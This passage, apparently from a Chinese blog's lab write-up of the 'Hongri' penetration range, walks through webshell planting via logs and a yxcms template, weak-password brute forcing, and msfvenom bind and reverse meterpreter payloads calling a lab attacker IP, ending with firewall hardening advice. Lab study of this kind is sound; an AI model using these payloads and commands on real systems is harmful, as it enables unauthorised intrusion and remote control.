src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/233e2c6102d94a8a8be2bbfaaf2b5769.png"                                     >随后写入一句话木马，由于该语句在运行时会报错，会被写入日志中，而日志又为php文件，所以我们通过AntSword来连接</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7deff985c38444dc9248294a8c9618f3.png"                                     ></p><p>蚁剑连接：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0a995202ecdc4a1b9c29c99898d42641.png"                                     > <strong>成功GET WEBSHELL</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c7679cc241164d6ab19734b280df4abc.png"                                     ></p><ul><li>*<em>后台弱口令爆破 + 模板注入GETSHELL()</em></li></ul><p>对后台登录页面用bp进行弱口令爆破，发现管理员用户： admin &amp; 123456，直接登录后台</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6916e9f4a1474a628e6407351b301ba5.png"                                     ></p><p>通过点击查看，可以发现到</p><p>URL:<a class="link"   href="http://192.168.145.173/yxcms/index.php?r=admin/index/index#"  title="http://192.168.145.173:80/yxcms/index.php?r=admin/index/index#">http://192.168.145.173:80/yxcms/index.php?r=admin/index/index#<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> 可以进行 写入php文件</p><p>新建一个shell.php文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/82224f0952cc4b3e8cea941f7dd7bdf9.png"                                     ></p><p>写入一句话木马：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/76b363fda5a24d5f8dcef733acc4bc66.png"                                     ></p><p>通过查看yxcms的帮助手册得知，”模板”的文件路径为：</p><p>&#x2F;protected&#x2F;apps&#x2F;default&#x2F;view&#x2F;default&#x2F;shell.php</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2fb620d0c563448ea49e8ded8de939ae.png"                                     ></p><p>AntSword成功连接木马：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/10b6659f69c94b819e34ef9cce2bf029.png"                                     ></p><p><strong>Get Web Shell！:</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9b01eb603ba14d509c1ac7195e0e73d2.png"                                     ></p><p><strong>补充：MSF载荷及防火墙绕过</strong></p><p><strong>shell是</strong> <strong>一个攻击机遥控受害机的遥控器</strong></p><p><strong>载荷（payload）是漏洞利用成功后在受害系统上运行的代码</strong></p><p>1.正向shell与反向shell区别：</p><p>bind_tcp：是靶机主动连接攻击机的ip与端口，建立shell连接，易受防火墙的影响（LPORT）</p><p>reverse_tcp：则第一步是靶机主动发起连接（LHOST，LPORT）</p><p>什么场景下更适合使用反向 shel1? 什么场景下更适合使用正向 shel1?</p><p>・如果是初次渗透：能出内网​默认用反向，因为防火墙对出栈检测比较弱，内网隔离环境用正向</p><p>・如果有持久化的后门，优先用反向，因为攻击机ip的变化不不影响，并且能绕过出栈防火墙</p><p>这里我们的攻击机是 <strong>kali：192.168.145.128，目标机是win7：192.168.145.160</strong></p><p>区分： <strong>正向里LPORT是目标机win7端口，反向则是攻击机kali端口</strong></p><p>2.有关msf</p><p><strong>Msf</strong> <strong>venom</strong></p><p><strong>生成恶意程序</strong></p><p><strong>Exploit模块</strong></p><p><strong>利用漏洞</strong> <strong>执行</strong></p><p><strong>Multi&#x2F;Handler</strong></p><p><strong>接收连接</strong></p><p><strong>数据库模块</strong></p><p><strong>扫描结果</strong></p><p><strong>正向链接演示：</strong></p><p>msfvenom -p windows &#x2F;x64&#x2F;meterpreter&#x2F;bind_tcp L PORT&#x3D;5555 -f exe -o b_op.exe</p><p>恶意程序&#x2F;payload&#x2F;目标操作系统&#x2F;系统架构&#x2F;载荷类型—高级交互shell&#x2F;连接方式&#x2F;地址&#x2F;文件格式</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7b15c6207bf04136af700314510c887a.png"                                     ></p><p>所以：b_op.exe运行后，目标机（win7 ）的5555端口开启监听</p><p>复制到win7去</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9f4c61c9c5244f19b3642bbf0da498ab.png"                                     ></p><p>Ps：root mv</p><p><strong>msfconsole</strong><br>use exploit&#x2F;multi&#x2F;handler ：通用载荷处理器<br>set payload windows&#x2F;x64&#x2F;meterpreter&#x2F;bind_tcp ：正向shell<br>set RHOST 192.168.145.160<br>set LPORT 5555</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/19f496be61614bacb361610656ae8bad.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/efa47ee6445648d2a763f48459f52b3d.png"                                     ></p><p><strong>run！win7打开恶意文件之后回显成功</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0d98e09e7e4d47d5bdddc2b2a99f221f.png"                                     ></p><h4 id="反向连接演示-："><a href="#反向连接演示-：" class="headerlink" title="反向连接演示 ："></a><strong>反向连接演示</strong> <strong>：</strong></h4><p>msfvenom -p windows&#x2F;x64&#x2F;meterpreter&#x2F;reverse_tcp LHOST&#x3D;192.168.145.128 LPORT&#x3D;9999 -f exe -o r_op.exe</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4f8b335d5ed64a70b89671e593cfe6c2.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d8d9b5f1de934a82b41e1256a23a306b.png"                                     ></p><p>其余类比bind _shell ，注意LPORT指的是kali的端口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8d5372f92cef43bba18bf8a4bdd2bbf9.png"                                     ></p><p>配置参数：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c7774cbf9d08490788c4c6d655d4ffbd.png"                                     ></p><p>运行后 <strong>成功得到目标主机的shell</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3f8fb62021bf4a1a83ab4dee6021b370.png"                                     ></p><p>补充一个PTY（伪终端模块）升级命令：</p><p>python -c ‘import pty; pty.spawn(“&#x2F;bin&#x2F;bash”)’</p><p>升级之后ctrlc功能正常，可以快捷键补全，响应快<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8db03bf9c07e4deb83ace469bc37e7c9.png"                                     ></p><h4 id="防火墙加固"><a href="#防火墙加固" class="headerlink" title="防火墙加固"></a><strong>防火墙加固</strong></h4><p>win7</p><p>进入任务管理器把刚才的b_op.exe和r_op.exe结束进程，然后建立新的出站规则</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d3c044b383514c41852fec1cdeaf0d07.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/52ce740efcc94538a7af221cdc8fc86e.png"                                     ></p><p>仅通过配置出站规则，能否有效防御所有反向连接？</p><p>・不能，攻击者可能采用端口欺骗（比如用 80，443 端口等），协议伪装（比如看起来像 DNS 域名查询或浏览网页）</p><p>除了基于端口的防火墙规则，还有哪些更高级的加固手段可以防御此类攻击？</p><p>・使用白名单 —— 只允许特定程序访问，其他一律阻止</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2025/10/31/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BAweb%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B8%97%E9%80%8F/</id>
    <link href="https://leeei.site/2025/10/31/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BAweb%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B8%97%E9%80%8F/"/>
    <published>2025-10-30T23:03:50.550Z</published>
    <summary>记录红日靶场 Web 服务器的信息收集、Web 漏洞利用、权限获取、凭据提取与内网横向移动思路，并整理关键判断依据。</summary>
    <title>红日靶场web服务器渗透</title>
    <updated>2025-10-30T23:03:50.550Z</updated>
  </entry>
</feed>
